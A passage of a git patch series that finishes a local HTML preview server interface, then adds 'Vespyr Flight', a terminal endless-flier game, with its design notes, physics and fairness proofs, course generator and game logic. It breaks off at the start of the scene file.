+export interface PreviewDocument { + /** The page the browser loads: complete HTML (a Markdown file is converted before it gets here). */ + html: string; + /** The folder relative references resolve against (the document's own folder). Assets must stay inside `root`. */ + root: string; + /** Scripts may run in the page (a trusted project). Without it the page is served with a CSP that forbids them. */ + trusted: boolean; + /** The document's own name, for messages. */ + name: string; +} + +export interface PreviewHandle { + /** The address to open in a `preview` page: `http://127.0.0.1://`. */ + readonly url: string; + /** Replace the served HTML (a refresh of the unsaved buffer); the next load of `url` returns it. Assets are unaffected. */ + update(html: string): void; + /** Resources the page asked for that were refused or missing, newest last (path and reason), bounded. */ + problems(): ReadonlyArray<{path: string; reason: string}>; + dispose(): void; +} + +export interface PreviewServer { + serve(document: PreviewDocument): Promise; + /** Stop listening and forget every handle. */ + close(): Promise; +} From b5a2eac75fa60042819d076e0d2c61f1906fe2cf Mon Sep 17 00:00:00 2001 From: raiseCatError <315733358+raiseCatError@users.noreply.github.com> Date: Tue, 20 Oct 2026 14:05:24 +0530 Subject: [PATCH 125/157] Vespyr Flight: endless flier with provably fair gaps, winged Vespyr art, records and tests --- docs/design/arcade-flight.md | 105 ++++++++ src/arcade/games/flight/course.ts | 113 ++++++++ src/arcade/games/flight/game.ts | 194 +++++++++++++ src/arcade/games/flight/index.ts | 38 ++- src/arcade/games/flight/physics.ts | 123 +++++++++ src/arcade/games/flight/scene.ts | 275 +++++++++++++++++++ src/arcade/games/flight/sprites.ts | 95 +++++++ src/arcade/games/flight/world.ts | 108 ++++++++ tests/arcadeFlightGame.test.ts | 420 +++++++++++++++++++++++++++++ tests/arcadeFlightPhysics.test.ts | 282 +++++++++++++++++++ tests/support/flightBot.ts | 35 +++ 11 files changed, 1783 insertions(+), 5 deletions(-) create mode 100644 docs/design/arcade-flight.md create mode 100644 src/arcade/games/flight/course.ts create mode 100644 src/arcade/games/flight/game.ts create mode 100644 src/arcade/games/flight/physics.ts create mode 100644 src/arcade/games/flight/scene.ts create mode 100644 src/arcade/games/flight/sprites.ts create mode 100644 src/arcade/games/flight/world.ts create mode 100644 tests/arcadeFlightGame.test.ts create mode 100644 tests/arcadeFlightPhysics.test.ts create mode 100644 tests/support/flightBot.ts diff --git a/docs/design/arcade-flight.md b/docs/design/arcade-flight.md new file mode 100644 index 00000000..cc1df269 --- /dev/null +++ b/docs/design/arcade-flight.md @@ -0,0 +1,105 @@ +# Vespyr Flight + +An endless flier for the Vespyr Arcade (`/game flight`, aliases `vespyr-flight`, `flap`). Vespyr, the NMSh cat, flies to +the right on a pair of small paper wings; gravity pulls him down and each flap lifts him. He weaves through towers of +books, glass chimneys and crates, each with a vertical gap. The mechanics are those of the familiar one-button flapper; +the art, the obstacles and the course generator are original. + +## Controls and rules + +| Key | Effect | +|---|---| +| Space or Up | Start the run (from *ready*) and flap. | +| p / Esc | Shared pause menu / menu (handled by the host). | + +There are no key-release events, so the game never needs one. A flap sets the upward speed (an impulse; the position +does not jump). A wingbeat takes 7 steps (0.12 s): presses inside it are ignored, so a held key (which repeats) flaps +steadily and cannot climb faster than the fairness proofs assume. + +Score is +1 when the cat has fully passed an obstacle (its hitbox's left edge beyond the obstacle's right edge), exactly +once per obstacle and never for one that was hit. The run ends on touching an obstacle, the ceiling or the ground; the +cat is shown hit for about 0.4 s (0.13 s with reduced motion), then the shared game over card with Retry. + +## Physics (`physics.ts`) + +Fixed step 1/60 s, semi-implicit Euler (`motion`, the single place gravity is applied). World units are pixels (one canvas +column wide, half a row tall; y grows down). `GRAVITY = 330 px/s^2`, `FLAP_V = 72 px/s`, `TERMINAL_V = 108 px/s` +(1.8 px per step). One flap climbs `FLAP_CLIMB = 7.26 px` and takes 13 steps to peak. The hitbox is 8 x 5 px inside the +14 x 8 sprite (ear tips, tail, wings and whiskers do not hurt); an obstacle is 8 px wide. Touching an edge is clear; only +a real overlap, or crossing the ceiling (`y < 0`) or the ground (`y + 5 > height`), is a hit. + +The world is `height` pixels tall, fixed when a run starts from the panel's rows (`worldHeightFor`: 26 to 56, even). Speed +and the course do not depend on the canvas width. If the canvas later shrinks below the world, the picture is compressed +vertically; a taller canvas gets a cloud-bank ceiling and a deeper ground. + +Speed rises linearly from 44 to 76 px/s over the first 7000 px and then stays there (`speedAt`); `difficultyAt` (0 to 1 +over the same distance) also narrows the gap, tightens the spacing and raises how far gap centers may move. + +## Fairness arithmetic and generation (`physics.ts`, `course.ts`) + +Everything is computed from `motion`, so the proof and the game cannot drift apart: + +- `climbIn(n)`: the most height gainable in n steps (flap at step 0 and again every 7 steps; a flap sets the velocity, so + the start state does not matter and no strategy climbs faster). +- `fallIn(n)`: the most height lost in n steps without flapping, starting from the worst case (a flap just before). +- `GAP_MIN = CAT_H + ceil(FLAP_CLIMB + FALL_PER_STEP) + 1 = 16 px`: room for one flap arc (a hovering cat flaps when it + would touch the lower edge and rises one arc), one terminal-speed step of overshoot and a pixel. The generated gap + starts at most 28 px, narrows to `GAP_MIN` at the cap and never goes below it (`minGap(speed)`). +- `minSpacing(speed)`: clear distance of at least `REACT_STEPS + 16 = 28` steps between clearing one obstacle and touching + the next, plus the obstacle and cat widths. +- `shiftLimit(direction, speed, free, gapA)`: for the clear distance `free`, the steps left after `REACT_STEPS = 12` (0.2 s of + reaction) give `SAFETY = 0.85` of `climbIn` or `fallIn`, minus half the free travel of the first gap (the player may leave + it from its far end). The second gap's own slack is not counted. At 52 free steps this is 23 px up and 15 px down. +- `pairReachable(a, b, speed)`: gap height at least `GAP_MIN`, clear distance at least `minFree`, and the center shift + within `shiftLimit`, at the faster (later) speed. + +`Course` draws four random numbers per obstacle always (spacing, shift, gap, style), so what the check adjusts never changes +what follows; it places the obstacle, picks a gap center within `min(shiftLimit, lerp(5 px, 40 px, difficulty))` of the +previous (so variation grows with difficulty), clamps it inside the world (`EDGE = 2` px), and then verifies +`pairReachable`, stepping the gap toward the previous one until it holds. The first gap is centered on the cat's start. + +## Visuals (`sprites.ts`, `scene.ts`) + +Every pose is built from `catPixels('idle')`: ears, eyes, whiskers, body and four legs are Vespyr's. The wing cycle follows +flaps (down-stroke for 4 steps, level for 4, then raised while falling), legs tuck when rising and dangle when falling, the +tail trails, levels or streams according to a smoothed vertical speed, and he blinks and flicks an ear. Backdrop: day/night +sky from `skyAt` over the distance, parallax clouds, hills and rooftops, stars at night; the ground, ceiling bank and all +obstacle colors derive from the palette. A trail and small flap puffs (`Trail`, `ParticleSystem`), `+1` popups, the score +counter lighting up, and a sparkle plus popup every 10 points. The score uses `typeset({role: 'counter'})`; the title does +too. A crash bursts, flashes and shakes, then the frozen scene fades toward the palette's dusk over about 400 ms. + +## Accessibility + +- NO_COLOR and Safe Glyphs: the backdrop is dropped (`decor` off); obstacles become hollow outlines with a dotted fill and a + solid lip, the ground has its own `▒` texture row, and the cat is solid, so all three read differently in a plain render. + Safe Glyphs maps these to ASCII through the canvas. +- Reduced motion: no shake, flash, fade, sparkles, popups, trail or puffs, and no cloud drift; the crash hold is shorter. +- Effects `off`: no particles, trails or popups. Gameplay is identical in all modes. +- Below 30 x 16 cells the game shows `Needs at least 30x16` instead of the playfield. + +## Records + +`context.record` holds `{best, bestPassed, attempts}` (whole numbers, validated and clamped on read; anything else counts as 0). +`best` is the highest score and `bestPassed` the most obstacles passed (equal today because a point is an obstacle; they are kept +separate so the score can change without losing history). A finished run adds an attempt; a score above the best at the start +of the run sets `result.record`. `persist()` saves a better unfinished score without counting an attempt. + +## What the tests prove (`tests/arcadeFlightPhysics.test.ts`, `tests/arcadeFlightGame.test.ts`) + +- Flap impulse, gravity increments, terminal velocity, the wingbeat cooldown, and that `climbIn`/`fallIn` equal what the + real simulation does. +- Collision boundaries to 0.001 px (pipe top and bottom, front and back, ceiling, ground); scoring exactly once. +- Over 5000 consecutive pairs (6 world heights, 7 starting speeds, 14 seeds) every pair is reachable, every gap at least + `GAP_MIN`, every spacing at least `minSpacing`; ramps are monotonic and capped; shift variation grows. +- A simulated player that plays the real simulation (flap when the predicted position would cross the lower edge) survives + 20000 steps at the top speed and smallest gap on many seeds and world heights; a player 12 steps (0.2 s) late survives too; + one 40 steps late does not always; idling or mashing dies. +- Determinism (state hash), course independence from canvas width, restart, records and corrupt records, resize from + 20 x 8 to 200 x 60 with every plain row within width, NO_COLOR, Safe Glyphs, reduced motion, effects off, the fade, and a run + through `ArcadeSession`. + +## Limits + +The proofs assume the player reacts within 0.2 s and flaps at least once per wingbeat window when needed; they are about +reachability, not comfort. Automated tests are not physical gameplay verification: feel, readability of the sprites in a real +terminal and the look of the themes need hands-on play. Sized text depends on the terminal's support. diff --git a/src/arcade/games/flight/course.ts b/src/arcade/games/flight/course.ts new file mode 100644 index 00000000..a300941e --- /dev/null +++ b/src/arcade/games/flight/course.ts @@ -0,0 +1,113 @@ +import type {Rng} from '../../rng.js'; +import {clamp, lerp} from '../../easing.js'; +import { + CAT_H, CAT_W, difficultyAt, EDGE, freeDistance, GAP_MIN, GAP_START, minFree, OB_W, pairReachable, shiftLimit, speedAt, + type GapSpec, +} from './physics.js'; + +/** Three obstacle designs: stacked books, glass chimneys and crates. Purely visual: all share one width and one hitbox rule. */ +export const STYLES = ['books', 'glass', 'crates'] as const; +export type ObstacleStyle = (typeof STYLES)[number]; + +export interface Obstacle extends GapSpec { + id: number; + style: ObstacleStyle; + /** Set once the cat has fully passed it (and counted for exactly one point). */ + scored: boolean; +} + +/** Free flight before the first obstacle, in steps: time to start flapping. */ +const FIRST_FREE_STEPS = 100; +/** Free steps between obstacles at the start and at the cap of difficulty. */ +const FREE_STEPS_START = 120; +const FREE_STEPS_END = 58; +/** How far (px) a gap center may move from the previous one before the fairness limit applies: it grows with difficulty. */ +const SHIFT_START = 5; +const SHIFT_END = 40; + +/** The gap height at a distance: wide at first, narrowing to `GAP_MIN` (never below it), and never more than the world allows. */ +export function gapAt(distance: number, height: number): number { + const widest = Math.max(GAP_MIN, Math.min(GAP_START, height - 2 * EDGE - 8)); + return Math.round(lerp(widest, GAP_MIN, difficultyAt(distance))); +} + +/** + * The course: obstacles generated ahead of the cat from a seeded stream with a fixed number of draws per obstacle, so + * what the fairness check adjusts never changes what comes after. Every consecutive pair satisfies `pairReachable` + * (checked here, and again by the tests over thousands of obstacles), and the whole course depends on the seed and the + * world height only, never on the canvas. + */ +export class Course { + readonly obstacles: Obstacle[] = []; + private nextId = 1; + private lastX: number; + private last: GapSpec | undefined; + + /** `origin` is where the cat's hitbox starts; the first obstacle's gap is centered on the cat's start. */ + constructor(private readonly rng: Rng, readonly height: number, origin: number) { + this.lastX = origin; + this.last = undefined; + } + + /** The hitbox-top the cat starts with: centered in the first gap. */ + startY(): number { return Math.round(this.height / 2 - CAT_H / 2); } + + /** Make sure obstacles exist up to world x `limit`. */ + ensure(limit: number): void { + while (this.lastX < limit) this.generate(); + } + + /** Forget obstacles far behind the cat. */ + trim(behind: number): void { + while (this.obstacles.length > 2 && this.obstacles[0]!.x + OB_W < behind) this.obstacles.shift(); + } + + private generate(): void { + const rng = this.rng; + // Four draws per obstacle, always, in this order. + const spacingDraw = rng.next(); + const shiftDraw = rng.range(-1, 1); + const gapDraw = rng.next(); + const style = STYLES[Math.floor(rng.next() * STYLES.length)]!; + + const previous = this.last; + const first = previous === undefined; + const difficulty = difficultyAt(this.lastX); + const steps = first ? FIRST_FREE_STEPS : lerp(FREE_STEPS_START, FREE_STEPS_END, difficulty) + spacingDraw * 10; + // The new obstacle's left edge. The first one is measured from the cat's own start, the others from the previous obstacle. + const behind = this.lastX + (first ? CAT_W : OB_W + CAT_W); + const estimate = speedAt(behind + 60); + // Never closer than the least free distance at the speed the cat will have there (the draw can only widen it). + let x = behind + freeDistance(steps, estimate); + while (x - behind < minFree(speedAt(x))) x += 0.5; + + // A pixel of variety, never below the minimum and never above what the start allows. + const gap = Math.max(GAP_MIN, gapAt(x, this.height) + (gapDraw < 0.5 ? 0 : 1) * (difficulty < 1 ? 1 : 0)); + const low = EDGE; + const high = this.height - EDGE - gap; + let top: number; + if (!previous) { + top = clamp(Math.round(this.height / 2 - gap / 2), low, high); + } else { + const speed = speedAt(x); + const free = x - previous.x - OB_W - CAT_W; + const gapA = previous.gapBottom - previous.gapTop; + const direction = shiftDraw < 0 ? 'up' : 'down'; + const allowed = Math.max(0, shiftLimit(direction, speed, free, gapA) - 1); + const shift = shiftDraw * Math.min(allowed, lerp(SHIFT_START, SHIFT_END, difficulty)); + top = clamp(Math.round((previous.gapTop + previous.gapBottom) / 2 + shift - gap / 2), low, high); + // Rounding and clamping can only move a gap toward the previous one by less than a pixel; verify, and step back if not. + const candidate = (t: number): GapSpec => ({x, gapTop: t, gapBottom: t + gap}); + for (let guard = 0; guard < 64 && !pairReachable(previous, candidate(top), speed); guard += 1) { + const center = (previous.gapTop + previous.gapBottom) / 2; + top += top + gap / 2 > center ? -1 : 1; + top = clamp(top, low, high); + } + } + const obstacle: Obstacle = {id: this.nextId, style, x, gapTop: top, gapBottom: top + gap, scored: false}; + this.nextId += 1; + this.obstacles.push(obstacle); + this.last = obstacle; + this.lastX = x; + } +} diff --git a/src/arcade/games/flight/game.ts b/src/arcade/games/flight/game.ts new file mode 100644 index 00000000..4f933392 --- /dev/null +++ b/src/arcade/games/flight/game.ts @@ -0,0 +1,194 @@ +import type {Key} from '../../../terminal/keys.js'; +import type {Canvas} from '../../Canvas.js'; +import {easeOutCubic} from '../../easing.js'; +import {Flash, ParticleSystem, Popups, Shake, Trail} from '../../effects.js'; +import type {ArcadePalette} from '../../palette.js'; +import type {ControlHint, GameContext, GameInstance, GameKeyResult, GameResult, GameStatus} from '../../types.js'; +import {CAT_H, DT} from './physics.js'; +import {drawTooSmall, FlightScene, geometry, MIN_COLUMNS, MIN_ROWS, worldHeightFor, type Geometry} from './scene.js'; +import type {CatLook, Legs, TailShape, Wing} from './sprites.js'; +import {FlightWorld} from './world.js'; + +/** What a person's saved Vespyr Flight record holds, read defensively (the file can be old, empty or hand-edited). */ +export interface FlightRecord { best: number; bestPassed: number; attempts: number } + +const clean = (value: unknown): number => (typeof value === 'number' && Number.isFinite(value) && value > 0 ? Math.min(Math.floor(value), 1_000_000_000) : 0); +export function readRecord(raw: Readonly>): FlightRecord { + return {best: clean(raw.best), bestPassed: clean(raw.bestPassed), attempts: clean(raw.attempts)}; +} + +const POP_MS = 450; +/** After a crash the world holds still this many steps (the cat shown hit, the scene fading to dusk) before the game over card. */ +const DYING_STEPS = 24; +const DYING_STEPS_REDUCED = 8; +const MILESTONE = 10; + +/** Test seams: a prepared world or a particle pool the test can inspect. The arcade always uses the defaults. */ +export interface FlightParts { world?: FlightWorld; particles?: ParticleSystem } + +export function createFlightGame(context: GameContext, parts: FlightParts = {}): GameInstance { + const courseRng = context.rng.fork('course'); + const fxRng = context.rng.fork('fx'); + const world = parts.world ?? new FlightWorld(courseRng, worldHeightFor(context.size.rows)); + const scene = new FlightScene(); + const calm = context.motion.reduced; + const level = calm ? 'off' : context.motion.effects; + const particles = parts.particles ?? new ParticleSystem(fxRng, 140, level); + particles.setLevel(level); + const trail = new Trail(10, level); + const popups = new Popups(5, level); + const flash = new Flash(); + const shake = new Shake(); + const decor = context.color !== 'none' && !context.safeGlyphs; + let size = context.size; + let geo: Geometry = geometry(size.columns, size.rows, world.height); + let status: GameStatus = 'ready'; + let result: GameResult | undefined; + let palette: ArcadePalette | undefined; + let saved = readRecord(context.record.get()); + const startBest = saved.best; + let visualMs = 0; + let popMs = 0; + let dying = 0; + /** A smoothed vertical speed, so the tail trails the motion instead of snapping with it. */ + let tailLag = 0; + let disposed = false; + + const tooSmall = (): boolean => size.columns < MIN_COLUMNS || size.rows < MIN_ROWS; + const screenY = (value: number): number => geo.top + value * geo.scale; + + function look(): CatLook { + const blink = visualMs % 3100 < 140; + const twitch = (visualMs + 1300) % 4300 < 170; + if (status === 'ready') { + const beat = Math.floor(visualMs / 420) % 2; + return {wing: beat ? 'mid' : 'up', legs: 'glide', tail: beat ? 'level' : 'curled', blink, twitch, hit: false}; + } + if (!world.alive) return {wing: 'up', legs: 'dangle', tail: 'streaming', blink: true, twitch: false, hit: true}; + const vy = world.vy; + const wing: Wing = world.sinceFlap < 4 ? 'down' : world.sinceFlap < 8 ? 'mid' : vy > 25 ? 'up' : 'mid'; + const legs: Legs = vy < -10 ? 'tucked' : vy > 45 ? 'dangle' : 'glide'; + const tail: TailShape = tailLag < -30 ? 'trailing' : tailLag > 40 ? 'streaming' : tailLag < -8 ? 'level' : 'curled'; + return {wing, legs, tail, blink, twitch, hit: false}; + } + + function finish(): void { + status = 'over'; + const score = world.score; + const previous = readRecord(context.record.get()); + const next: FlightRecord = {best: Math.max(previous.best, score), bestPassed: Math.max(previous.bestPassed, score), attempts: previous.attempts + 1}; + context.record.update(record => { record.best = next.best; record.bestPassed = next.bestPassed; record.attempts = next.attempts; }); + saved = next; + result = { + score, scoreText: String(score), record: score > 0 && score > startBest, + details: [`Obstacles passed ${score}`, `Best ${next.best}`, `Attempts ${next.attempts}`], + }; + } + + const puff = (): void => { + if (!palette) return; + particles.burst({x: geo.catX - 2, y: screenY(world.y) + 3, count: 5, speed: 26, angle: Math.PI / 2, spread: 0.7, life: 380, gravity: 30, drag: 1.2, colors: [palette.haze, palette.muted, palette.accentSoft]}); + }; + + const instance: GameInstance = { + get status() { return status; }, + get result() { return result; }, + stepsPerSecond: 60, + refreshMs: 100, + + step() { + if (status !== 'playing') return; + if (dying > 0) { dying -= 1; if (dying === 0) finish(); return; } + const outcome = world.step(); + tailLag += (world.vy - tailLag) * 0.15; + if (decor) { + trail.shift(-world.speed * DT); + if (world.steps % 2 === 0) trail.push(geo.catX - 2, screenY(world.y) + (CAT_H / 2) * geo.scale); + if (palette && world.steps % 5 === 0) particles.burst({x: geo.catX - 3, y: screenY(world.y) + 2, count: 1, speed: 10, angle: Math.PI, spread: 0.6, life: 480, drag: 0.5, colors: [palette.accent, palette.haze]}); + } + if (outcome.scored) { + popMs = POP_MS; + if (palette) { + popups.add('+1', geo.catX + 6, Math.max(1, Math.floor(screenY(world.y) / 2) - 3), palette.accent); + if (world.score % MILESTONE === 0) { + particles.burst({x: geo.catX + 4, y: screenY(world.y) + 2, count: 22, speed: 55, spread: Math.PI, life: 700, drag: 1.1, colors: [palette.accent, palette.haze, palette.warn, palette.ok]}); + popups.add(`${world.score}!`, geo.catX + 6, Math.max(1, Math.floor(screenY(world.y) / 2) - 5), palette.warn, 900); + } + } + } + if (outcome.hit) { + dying = calm ? DYING_STEPS_REDUCED : DYING_STEPS; + if (palette) { + flash.trigger(!calm); + shake.trigger(!calm && context.motion.effects !== 'off'); + particles.burst({x: geo.catX + 4, y: screenY(world.y) + 2, count: 28, speed: 70, spread: Math.PI, life: 650, gravity: 90, drag: 0.8, colors: [palette.warn, palette.bad, palette.ink, palette.accent]}); + } + } + }, + + animate(dtMs) { + visualMs += dtMs; + particles.update(dtMs); + popups.update(dtMs); + flash.update(dtMs); + shake.update(dtMs); + popMs = Math.max(0, popMs - dtMs); + }, + + key(key: Key): GameKeyResult { + const flap = key.kind === 'up' || (key.kind === 'text' && key.value === ' '); + if (status === 'ready') { + if (!flap) return 'ignored'; + status = 'playing'; + world.flap(); + puff(); + return 'handled'; + } + if (status !== 'playing') return 'ignored'; + if (dying > 0) return 'handled'; + if (!flap) return 'ignored'; + if (world.flap()) puff(); + return 'handled'; + }, + + render(canvas: Canvas, alpha: number, colors: ArcadePalette) { + palette = colors; + if (tooSmall() || canvas.width < MIN_COLUMNS || canvas.height < MIN_ROWS) { drawTooSmall(canvas, colors); return; } + geo = geometry(canvas.width, canvas.height, world.height); + const fading = calm ? 0 : status === 'over' ? 1 : dying > 0 ? easeOutCubic(1 - dying / DYING_STEPS) : 0; + scene.draw(canvas, { + world, alpha: status === 'playing' && dying === 0 ? alpha : 1, palette: colors, decor, reduced: calm, visualMs, + look: look(), particles, trail, popups, shake: shake.offset, flash: flash.amount, fade: fading, + score: world.score, best: Math.max(saved.best, world.score), pop: popMs / POP_MS, + phase: status === 'ready' ? 'ready' : status === 'over' ? 'over' : 'playing', + }); + }, + + resize(next) { + size = next; + geo = geometry(next.columns, next.rows, world.height); + particles.clear(); + popups.clear(); + trail.clear(); + }, + + pause() { /* The host owns the paused state; the fixed steps simply stop arriving. Nothing here advances on its own. */ }, + + hints(): readonly ControlHint[] { + return status === 'ready' + ? [{keys: 'Space/Up', action: 'flap'}, {keys: 'Esc', action: 'menu'}] + : [{keys: 'Space/Up', action: 'flap'}, {keys: 'p', action: 'pause'}, {keys: 'Esc', action: 'menu'}]; + }, + + persist() { + // A run left unfinished keeps a better score than the saved best, but is not counted as an attempt. + if (disposed || status !== 'playing' || world.score <= saved.best) return; + const score = world.score; + context.record.update(record => { const current = readRecord(record); record.best = Math.max(current.best, score); record.bestPassed = Math.max(current.bestPassed, score); record.attempts = current.attempts; }); + saved = readRecord(context.record.get()); + }, + + dispose() { disposed = true; particles.clear(); popups.clear(); trail.clear(); }, + }; + return instance; +} diff --git a/src/arcade/games/flight/index.ts b/src/arcade/games/flight/index.ts index fd91bf95..77c04e37 100644 --- a/src/arcade/games/flight/index.ts +++ b/src/arcade/games/flight/index.ts @@ -1,7 +1,35 @@ +import {mixRgb} from '../../../chroma/chroma.js'; +import {PixelBuffer, type Canvas} from '../../Canvas.js'; +import type {ArcadePalette} from '../../palette.js'; import type {GameDefinition} from '../../types.js'; -import {placeholderGame} from '../placeholder.js'; +import {createFlightGame, readRecord} from './game.js'; +import {OB_W} from './physics.js'; +import {obstacleColor} from './scene.js'; +import {catSprite} from './sprites.js'; -/** Placeholder until this game is implemented; replaced wholesale by the game's own module. */ -export const flightGame: GameDefinition = placeholderGame({ - id: 'flight', aliases: ['vespyr-flight', 'flap'], title: 'Vespyr Flight', tagline: 'Endless flier', description: 'Flap through an endless run of gaps.', kind: 'action', -}); +/** Vespyr Flight: an endless flier. Gravity pulls; Space or Up flaps. See docs/design/arcade-flight.md. */ +export const flightGame: GameDefinition = { + id: 'flight', aliases: ['vespyr-flight', 'flap'], title: 'Vespyr Flight', tagline: 'Endless flier', + description: 'Vespyr flaps a pair of paper wings through towers of books, glass chimneys and crates. Each gap passed is a point.', kind: 'action', + controls: [{keys: 'Space/Up', action: 'flap'}], + summary: record => { const saved = readRecord(record); return saved.attempts > 0 ? `Best ${saved.best} · ${saved.bestPassed} passed` : 'Not played yet'; }, + preview(canvas: Canvas, frame: number, palette: ArcadePalette) { + const buffer = new PixelBuffer(canvas.width, canvas.height * 2); + const tones = { + edge: mixRgb(palette.deep, palette.accent, 0.25), light: mixRgb(palette.haze, palette.ink, 0.5), books: [palette.accent, palette.accentSoft, palette.muted, palette.haze], + wood: palette.dusk, woodDark: palette.deep, glass: palette.haze, glassLight: palette.ink, ink: palette.ink, + }; + const span = buffer.width + 12; + const left = buffer.width - ((frame * 2) % span); + const gapTop = Math.max(2, Math.floor(buffer.height / 2) - 4); + for (let py = 0; py < buffer.height; py += 1) { + if (py >= gapTop && py < gapTop + 9) continue; + const d = py < gapTop ? gapTop - 1 - py : py - gapTop - 9; + for (let column = 0; column < OB_W; column += 1) { const color = obstacleColor('books', 3, column, d, tones); if (color) buffer.set(left + column, py, color); } + } + const bob = Math.round(Math.sin(frame * 0.5) * 2); + buffer.sprite(catSprite({wing: frame % 3 === 0 ? 'down' : frame % 3 === 1 ? 'mid' : 'up', legs: 'tucked', tail: 'trailing', blink: false, twitch: false, hit: false}, palette), 3, gapTop - 2 + bob, true); + canvas.blit(buffer); + }, + create: context => createFlightGame(context), +}; diff --git a/src/arcade/games/flight/physics.ts b/src/arcade/games/flight/physics.ts new file mode 100644 index 00000000..4fed05ed --- /dev/null +++ b/src/arcade/games/flight/physics.ts @@ -0,0 +1,123 @@ +/** + * Vespyr Flight physics and the fairness arithmetic. Pure numbers, no drawing, no randomness. + * + * Units: one world pixel is one canvas column wide and half a cell row tall; y grows downward. Time advances in fixed + * steps of 1/60 s. Everything the generator promises (a gap is passable, the next gap is reachable) is computed here + * from the same `motion` function the simulation uses, so the proof and the game cannot drift apart. + */ +export const STEPS_PER_SECOND = 60; +export const DT = 1 / STEPS_PER_SECOND; +export const STEP_MS = 1000 / STEPS_PER_SECOND; + +/** Pixels per second squared, the upward speed a flap sets, and the terminal fall speed (pixels per second). */ +export const GRAVITY = 330; +export const FLAP_V = 72; +export const TERMINAL_V = 108; +/** A flap needs a wingbeat to finish: presses during the next steps are ignored (a held key repeats). */ +export const FLAP_COOLDOWN = 7; + +/** The cat's hitbox, inside the 14 x 11 sprite (ear tips, tail, wings and whiskers do not hurt). */ +export const CAT_W = 8; +export const CAT_H = 5; +/** An obstacle's width, caps included. */ +export const OB_W = 8; +/** The gap edge keeps this far from the ceiling and the ground. */ +export const EDGE = 2; + +/** Speed (px/s) and the distance (px) over which difficulty ramps from its start to its cap. */ +export const SPEED_START = 44; +export const SPEED_MAX = 76; +export const RAMP_PX = 7000; +/** 0..1, nondecreasing, capped: drives speed, gap height, spacing and how far gap centers may move. */ +export const difficultyAt = (distance: number): number => Math.min(1, Math.max(0, distance) / RAMP_PX); +export const speedAt = (distance: number): number => SPEED_START + (SPEED_MAX - SPEED_START) * difficultyAt(distance); + +/** One step of vertical motion: semi-implicit Euler with a terminal velocity. The only place gravity is applied. */ +export function motion(y: number, vy: number): {y: number; vy: number} { + const next = Math.min(vy + GRAVITY * DT, TERMINAL_V); + return {y: y + next * DT, vy: next}; +} + +// ---- the proofs -------------------------------------------------------------------------------------------------- + +/** The highest a single flap climbs (px above where it was pressed), from the real step. */ +export const FLAP_CLIMB = ((): number => { + let y = 0; let vy = -FLAP_V; let top = 0; + for (let step = 0; step < 200 && vy < 0; step += 1) { ({y, vy} = motion(y, vy)); top = Math.min(top, y); } + return -top; +})(); +/** The most a falling cat moves in one step (px). */ +export const FALL_PER_STEP = TERMINAL_V * DT; + +/** + * The most height a player can gain in `steps`: flap at step 0 and again every `FLAP_COOLDOWN` steps. A flap sets the + * velocity, so the start state does not matter and no strategy climbs faster. + */ +export function climbIn(steps: number): number { + let y = 0; let vy = 0; + for (let step = 0; step < steps; step += 1) { + if (step % FLAP_COOLDOWN === 0) vy = -FLAP_V; + ({y, vy} = motion(y, vy)); + } + return -y; +} + +/** The most height a player can lose in `steps`: no flap, starting from the worst case (a flap just before, rising). */ +export function fallIn(steps: number): number { + let y = 0; let vy = -FLAP_V; + for (let step = 0; step < steps; step += 1) ({y, vy} = motion(y, vy)); + return y; +} + +/** Steps a person is assumed to need to notice a new gap and act (0.2 s). The generator spends them before it counts any climb. */ +export const REACT_STEPS = 12; +/** Only this share of the physical limit is ever asked for. */ +export const SAFETY = 0.85; + +/** + * The smallest gap the player can always pass: the hitbox, plus room for one flap arc (the cat hovers by flapping when + * it would touch the lower edge, and rises `FLAP_CLIMB` before it falls back), plus one terminal-speed step of + * overshoot, plus a pixel of margin. Independent of speed: faster only shortens the time spent inside. + */ +export const GAP_MIN = CAT_H + Math.ceil(FLAP_CLIMB + FALL_PER_STEP) + 1; +export const minGap = (_speed: number): number => GAP_MIN; +/** The widest gap, at the start (clamped further by the room the world has). */ +export const GAP_START = 28; + +/** Steps between clearing one obstacle and touching the next, for a free distance in px at a speed. */ +export const freeSteps = (free: number, speed: number): number => Math.floor(free / (speed * DT) + 1e-9); + +/** The free distance (px) between clearing one obstacle and touching the next that gives the player at least `steps` steps. */ +export const freeDistance = (steps: number, speed: number): number => steps * speed * DT; + +/** The least free distance at a speed: enough time to react and make a short corrective move. */ +export const MIN_FREE_STEPS = REACT_STEPS + 16; +export const minFree = (speed: number): number => freeDistance(MIN_FREE_STEPS, speed); +/** Left edge to left edge. */ +export const minSpacing = (speed: number): number => OB_W + CAT_W + minFree(speed); + +/** + * The most a gap center may move between consecutive obstacles, in px, `direction` 'up' or 'down', when `free` px + * separate them at `speed` and the gap just passed had `gapA` of height. The player may leave the first gap from its far + * end, so half its free travel (`gapA - CAT_H`) is paid before any shift is counted; the second gap's own slack is not + * counted at all. Both gaps' slack makes real play easier than this. + */ +export function shiftLimit(direction: 'up' | 'down', speed: number, free: number, gapA: number): number { + const usable = Math.max(0, freeSteps(free, speed) - REACT_STEPS); + const capacity = direction === 'up' ? climbIn(usable) : fallIn(usable); + return Math.max(0, Math.floor(SAFETY * capacity - (gapA - CAT_H) / 2)); +} + +export interface GapSpec { x: number; gapTop: number; gapBottom: number } + +export const centerOf = (gap: GapSpec): number => (gap.gapTop + gap.gapBottom) / 2; + +/** True when a player who is anywhere inside `a`'s gap can reach `b`'s gap with the margins above. The speed is the faster of the two ends. */ +export function pairReachable(a: GapSpec, b: GapSpec, speedAtB: number): boolean { + const free = b.x - a.x - OB_W - CAT_W; + if (free < minFree(speedAtB) - 1e-9) return false; + if (b.gapBottom - b.gapTop < minGap(speedAtB)) return false; + const shift = centerOf(b) - centerOf(a); + const limit = shiftLimit(shift < 0 ? 'up' : 'down', speedAtB, free, a.gapBottom - a.gapTop); + return Math.abs(shift) <= limit; +} diff --git a/src/arcade/games/flight/scene.ts b/src/arcade/games/flight/scene.ts new file mode 100644 index 00000000..a3951fb3 --- /dev/null +++ b/src/arcade/games/flight/scene.ts @@ -0,0 +1,275 @@ +import {mixRgb} from '../../../chroma/chroma.js'; +import type {Rgb} from '../../../chroma/escape.js'; +import {typeset} from '../../../ui/typography.js'; +import {PixelBuffer, type Canvas} from '../../Canvas.js'; +import {clamp} from '../../easing.js'; +import type {ParticleSystem, Popups, Trail} from '../../effects.js'; +import {skyAt, type ArcadePalette} from '../../palette.js'; +import {OB_W} from './physics.js'; +import type {Obstacle, ObstacleStyle} from './course.js'; +import {catSprite, HB_X, HB_Y, type CatLook} from './sprites.js'; +import type {FlightWorld} from './world.js'; + +/** The playfield is one half-block pixel layer 